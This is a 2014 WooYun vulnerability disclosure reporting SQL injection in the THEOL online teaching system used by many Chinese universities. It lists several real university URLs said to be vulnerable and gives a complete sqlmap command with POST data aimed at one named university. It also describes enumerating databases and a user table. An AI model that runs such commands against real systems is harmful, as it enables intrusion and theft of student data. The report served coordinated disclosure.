当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-073790
漏洞标题：
theol网络教学系统SQL注入影响全国百分之80的大学
相关厂商：
清华大学
漏洞作者：
547
提交时间：
2014-08-26 17:32
修复时间：
2014-11-24 17:34
公开时间：
2014-11-24 17:34
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-08-26： 细节已通知厂商并且等待厂商处理中
2014-08-31： 厂商已经确认，细节仅向厂商公开
2014-09-03： 细节向第三方安全合作伙伴开放
2014-10-25： 细节向核心白帽子及相关领域专家公开
2014-11-04： 细节向普通白帽子公开
2014-11-14： 细节向实习白帽子公开
2014-11-24： 细节向公众公开

简要描述：

theol网络教学系统SQL注入影响全国百分之80的大学

详细说明：

上次提交没通过,说涉及漏洞的链接太少,这次改一改,重新提交.
THEOL是清华大学自主开发的一个网络教学平台,全国貌似基本上所有大学都在用,用谷歌搜了下,翻了好多页都没翻完

theol1-1.png


theol1-2.png


上面是使用该系统的学校,
下面列一下涉及漏洞的学校的url吧
http://jpkc.bsu.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://www.eol.sdu.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://eol.hgzyxy.com/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://eol.ynufe.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://cc.ustb.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://aaol.imust.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://course.pkuschool.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
http://jxpt.cuc.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
中传媒的,貌似有好多妹子...
http://116.252.254.221:8024/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452
就列出这么多吧,还有很多很多...

漏洞证明：

下面以第一个北京体育大学为例吧,
POST型注入
sudo sqlmap -u "http://jpkc.bsu.edu.cn/eol/common/script/search.jsp?folderid=0&groupid=4&lid=4452" --data "chapter=0&field=1&keyword=e&knowledgeunit=0&restype=0&search=true&section=0&Submit3=2%a8%a6%20%3f%a1%a5" --dbs

theol2-1.png


列库

theol2-2.png


表好多,我等不及了,就中断了,显示了158个

theol2-3.png


看看user表

theol2-4.png


看看内容吧,就一点,,,你们不介意吧

theol2-5.png


好多空啊.

修复方案：

版权声明：转载请注明来源 547@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-08-31 09:43

厂商回复：

最新状态：

暂无